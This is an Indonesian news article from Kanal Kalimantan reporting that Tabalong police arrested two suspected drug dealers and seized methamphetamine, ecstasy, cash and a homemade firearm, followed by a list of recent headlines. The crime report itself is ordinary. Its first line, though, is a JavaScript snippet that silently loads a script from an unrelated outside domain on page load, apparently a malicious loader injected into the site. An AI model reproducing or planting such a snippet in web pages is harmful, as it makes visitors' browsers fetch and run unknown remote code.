(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tangkap Bandar Narkoba, Polres Tabalong Sita Senpi Rakitan


TANJUNG, Dua laki-laki berinisial A (37), warga Desa Banua Lawas, Kecamatan Tangkisung, Kabupaten Tanah Laut, dan S (34) warga Desa Maburai, Kecamatan Murung Pudak, Kabupaten Tabalong, diringkus Polres Tabalong. Keduanya merupakan tersangka kasus pengedaran narkoba.

Penangkapan pelaku terjadi Selasa 16 Oktober 2018 sekitar pukul 15.00 wita di Desa Bongkang Kecamatan Haruai Kabupaten Tabalong oleh personel gabungan Unit Opsnal Sat Reskrim, Unit Opsnal Sat Resnarkoba dan Polsek Haruai Polres Tabalong. Penangkapan dipimpin langsung Kasat Reskrim AKP Mars Suryo Kartiko, S.Ik dan Kasat Resnarkoba Iptu Zaenuri, SH.

Kapolres Tabalong AKBP Hardiono, S.Ik didampingi Kasat Reskrim AKP Mars Suryo Kartiko, S.Ik dan Kasat Resnarkoba Iptu Zaenuri, SH mengungkapkan, penangkapan berawal informasi ada pesta narkoba dan peredaran narkoba di sebuah pondok di Kebun Karet Desa Bongkang, Kecamatan Haruai, Kabupaten Tabalong.

Berdasarkan informasi itulah petugas polisi pun menuju lokasi. Petugas lebih waspada karena salah satu pelaku adalah DPO Polda Kalsel dalam kasus peredaran narkoba serta diketahui bahwa pelaku mempunyai senjata api.


Namun berkat kesigapan petugas, akhirnya pelaku A (37) bersama rekannya S (34) yang sempat melarikan diri ke hutan akhirnya ditangkap petugas.

Kapolres Tabalong AKBP Hardiono, S.Ik dalam Press Release, Kamis (18/10) mengucapkan terimakasih kepada masyarakat Tabalong karena sudah membantu pihak polisi dalam pemberantasan narkoba. Dari penangkapan Pelaku Bandar Narkoba di Tabalong ini, petugas menyita barang bukti dari tersangka A berupa narkoba jenis Sabu seberat 35,51 gram, 3 butir Extasy, Uang tunai sebanyak Rp 17.300.000, senjata api rakitan laras panjang, 15 butir peluru organik 9 mm, dan 2 pucuk senapan angin 2.5 mm.

Sementara barang bukti yang disita dari tersangka S berupa : 5 Paket Narkoba jenis Sabu seberat 1,29 Gram dan 7 unit kendaraan roda dua. Kini kedua orang tersebut beserta barang bukti telah diamankan ke Mapolres Tabalong guna proses pemeriksaan lebih lanjut.(rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

3 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

3 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

3 jam ago

Pemkab Kapuas Bahas Kesiapan Daerah Dukung Program 3 Juta Rumah

KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More

3 jam ago

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

1 hari ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 hari ago

This website uses cookies.